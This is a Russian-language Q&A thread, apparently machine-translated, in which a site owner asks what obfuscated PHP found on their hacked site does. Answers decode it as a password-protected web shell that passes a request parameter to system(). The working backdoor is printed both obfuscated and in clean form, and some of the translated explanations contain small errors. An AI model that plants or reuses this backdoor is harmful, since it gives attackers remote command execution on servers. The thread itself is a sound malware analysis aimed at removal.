2015-08-21 3 views
4

Кто-то взломал мой сайт и включил этот код. Может кто-нибудь объяснить, что он делает?Мой сайт взломан - что делает этот код?

Я переформатировал интервал для лучшей ясности. Я попытался запустить код, но похоже, что все, что он делает, возвращает хеш-память md5. Это безвредно?

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), 
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), 
    base64_decode('dX' .'JsZGVjb2Rl'), 
    base64_decode('c3lz' .'dGVt')); 
?> 

<? function 
    _787708145($i) 
     { 
      $a=Array(
       'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=', 
       'cA==', 
       'cw==', 
       ''); 
      return base64_decode($a[$i]); 
     } 
?> 

<?php 
    $_0=_787708145(0); 

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])); 

    if($_1!=$_0)exit; 

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 

    if($_2==_787708145(3))exit; 

    $GLOBALS['_131068239_'][3]($_2);exit; 
?> 

ответ

4

Небезопасный. Это код с запутыванием вещей удалена:

$_0 = '2caf6917ca3d9a3a85d26029ed623b1a'; 
$_1 = md5(urldecode($_REQUEST['p'])); 

if ($_1 != $_0) exit; 

$_2 = urldecode($_REQUEST['s']); 
if ($_2 == '') exit; 

system($_2); 
exit; 

Если это присутствует в PHP файл на сервере, это означает, что злоумышленник может обработать в URL с p и s параметрами, для выполнения какого-либо на вашем сервере (с использованием вызова system) с привилегиями пользователя, запускающего ваш веб-сервер.

Я бы посоветовал вам избавиться от этого.

5

Отвечать inline в комментариях к коду ниже.
Вкратце сценарий позволяет оболочке быть либо записано, либо загружено на ваш сервер.

Позже изменить: определенно не безвредно, сжечь его огнем.

<?php 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), // md5 - php function 
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function 
    base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function 
    base64_decode('c3lz' .'dGVt')); //system - php function 


function _787708145($i) 
     { 
      $a=Array(
       'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=', 
       'cA==', 
       'cw==', 
       ''); 
      return base64_decode($a[$i]); 
     } 

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a 

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])); 
// this is a function call md5(urldecode($_REQUEST[p])) 
// this script is passed an url as a get or post parameter and getting md5 encoded 

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above 

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 
// another function call, urldecode($_REQUEST[s]) 
// another parameter is passed 

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit 

$GLOBALS['_131068239_'][3]($_2); 
// execute system function with the "s" parameter, system(s) 
// basically writing a shell on your server here 

exit; 
// job done, exit :) 
1

декодировании base64 строки:

bWQ1 является md5

dXJsZGVjb2Rl является urldecode

c3lzdGVt является system

MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE= является 2caf6917ca3d9a3a85d26029ed623b1a

dXJsZGVjb2Rl является urldecode

cA== является p

cw== является s

dXJsZGVjb2Rl является urldecode

Это должно обеспечить некоторое представление о цели этого запутанным кода.

1

Да, приведенный выше код является бэкдором. Он запрашивает у пользователя системную команду &, этот код выполняет эту команду на вашем сервере. Вот что делает этот код!

<? 
// Here all the strings are base64 encoded 
$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),      // md5 
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),  // urldecode 
    base64_decode('dX' .'JsZGVjb2Rl'),    // urldecode 
    base64_decode('c3lz' .'dGVt'));    // system - syntax to execute PHP on the server 
?> 

В приведенном выше коде, system используется для выполнения команды на сервере

<? function _787708145($i)  // Function Created 
     { 
      $a=Array(
       'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=', // MD5 string 2caf6917ca3d9a3a85d26029ed623b1a 
       'cA==',  // p 
       'cw==',  // s 
       ''); 
      return base64_decode($a[$i]); 
     } 
?> 

Выше функция создана

<?php 
    $_0=_787708145(0); 

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])); 

    if($_1!=$_0)exit; 

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 

    if($_2==_787708145(3))exit; 

    $GLOBALS['_131068239_'][3]($_2);exit; 
?> 

Эта линия

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])); 

_787708145(1) : p 

Так $_REQUEST[_787708145(1)]) будет просить пользователя ввести параметр со значением с именем p параметра

$GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]) : urlencode($_REQUEST["p"]) 

$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])) : md5(urlencode($_REQUEST["p"])) 

Это будет соответствовать паролю if($_1!=$_0)exit;

$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); : urlencode($_REQUEST["s"]); 

if($_2=="s")exit; 

Сейчас идет заключительная часть, т.е.

$GLOBALS['_131068239_'][3]($_2); : system($_2); // $_2 is the value supplied by the user to execute command 
Смежные вопросы